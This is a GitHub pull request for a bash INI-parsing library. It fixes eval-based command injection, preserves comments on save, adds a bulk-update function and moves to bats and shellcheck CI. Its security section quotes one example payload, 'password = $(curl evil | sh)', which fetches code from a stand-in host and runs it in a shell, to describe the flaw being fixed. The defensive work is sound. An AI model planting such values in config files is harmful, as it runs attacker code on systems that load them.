Skip to content

Harden FlexIni core, preserve comments on save, add bulk update, bats + shellcheck CI - #7

Merged
mcblum merged 4 commits into
mainfrom
mcblum/preserve-comments-add-warning
Jul 21, 2026
Merged

Harden FlexIni core, preserve comments on save, add bulk update, bats + shellcheck CI#7
mcblum merged 4 commits into
mainfrom
mcblum/preserve-comments-add-warning

Conversation

@mcblum

@mcblum mcblum commented Jul 21, 2026

Copy link
Copy Markdown
Owner

Summary

A full pass over the FlexIni core: security and correctness fixes, comment/layout preservation on save, a new bulk-update API, and a rebuilt test + CI setup (bats-core and shellcheck replace the home-rolled harness).

Security fixes

  • Command injection on load: values containing $ were passed to eval, so password = $(curl evil | sh) executed on load. Expansion is now opt-in via the new expand_values_on_load setting (default false, documented with a warning).
  • Unsafe eval throughout get/update/delete/keys: keys/values with quotes, backticks, or $ could execute code or corrupt state. All dynamic array access now passes keys and values to eval strictly as variable references; regression tests feed $(...), backticks, quotes, and globs through every path.

Correctness fixes

  • Last line of a file without a trailing newline was silently dropped
  • Errors went to stdout, polluting $(flex_ini_get ...) and breaking flex_ini_reload's error detection — now stderr, with the return code checked
  • flex_ini_has reported keys with empty values as missing
  • Every save clobbered the ini file's permissions to 0600 (mktemp + mv) — original mode is now restored
  • ini ids with dots/slashes/leading digits produced invalid array names and cryptic eval failures
  • Trailing whitespace kept in values; word-splitting/glob expansion in key iteration; save_as "" silently became a plain save; chown ":" on unknown OSes; unchecked mktemp; temp-file leak on failed move
  • New validation: keys may not contain whitespace/=, values may not contain newlines (both corrupt the save/load round trip)

Features

  • Comment & layout preservation on save: comments, blank lines, and key order are preserved; updated keys rewritten in place, deleted keys dropped, new keys appended to their section, new sections appended alphabetically. save_as copies inherit the original's comments. Fresh files still produce fully alphabetized output.
  • flex_ini_update_bulk <id> <key> <value> [...]: validates all pairs before applying anything (atomic), saves exactly once with auto_save_on_changes — the bulk feature the README previously described as planned.
  • Warning when loading an already-loaded id with a different file path.
  • Parser: # comments, indented lines, missing-trailing-newline tolerance.

Tests & CI

  • Home-rolled harness replaced with a 69-test bats-core suite (tests/*.bats), covering all prior test intent plus regression tests for every fix above
  • CI matrix (Ubuntu + macOS) now runs bats v1.11.0; new shellcheck job pinned to v0.11.0 — its bats support caught genuinely non-enforcing ! command test assertions (SC2314), now run !
  • Docs: README (bulk update, save behavior, requirements, testing), plus AGENTS.md/CLAUDE.md agent guide covering the eval-safety rules, state model, and testing conventions

Behavior changes to be aware of

  • Errors now on stderr (was stdout)
  • flex_ini_has returns 0 for empty-valued keys
  • $-expansion in values is off by default
  • Key lines are normalized to key = value spacing on save

Test plan

  • bats tests — 69/69 pass locally (macOS, bash 5.2)
  • shellcheck flex_ini.sh tests/test_helper.bash tests/*.bats — clean
  • bash -n flex_ini.sh
  • CI green on ubuntu-latest and macos-latest (both jobs)

mcblum added 4 commits July 20, 2026 19:09
… shellcheck CI

- Fix command injection on load ($-expansion now opt-in via expand_values_on_load)
  and unsafe eval in get/update/delete/keys; keys/values now reach eval only as
  variable references
- Fix dropped final line on files without trailing newline, errors leaking to
  stdout, broken reload error detection, empty-value keys reported missing by
  has, file permissions clobbered on save, and invalid array names from
  unsanitized ini ids
- Preserve comments, blank lines, and key order on save; save_as copies inherit
  the original file's layout
- Warn when an id is already loaded from a different file
- Add flex_ini_update_bulk: validate-all-then-apply, single save with
  auto_save_on_changes
- Reject keys with whitespace/'=' and values with newlines (corrupt round-trip)
- Replace home-rolled test harness with 69-test bats-core suite; add pinned
  shellcheck job to CI; document everything in README + AGENTS.md/CLAUDE.md
A single argument after the ini id is now treated as the name of an
associative array of key/value changes (previously an odd-count error,
so no existing call changes meaning). The name is validated as a plain
identifier before interpolation, and the function's locals are
_flexini_-prefixed so dynamic scoping cannot shadow a caller's array.
@mcblum
mcblum merged commit d7f5e96 into main Jul 21, 2026
3 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant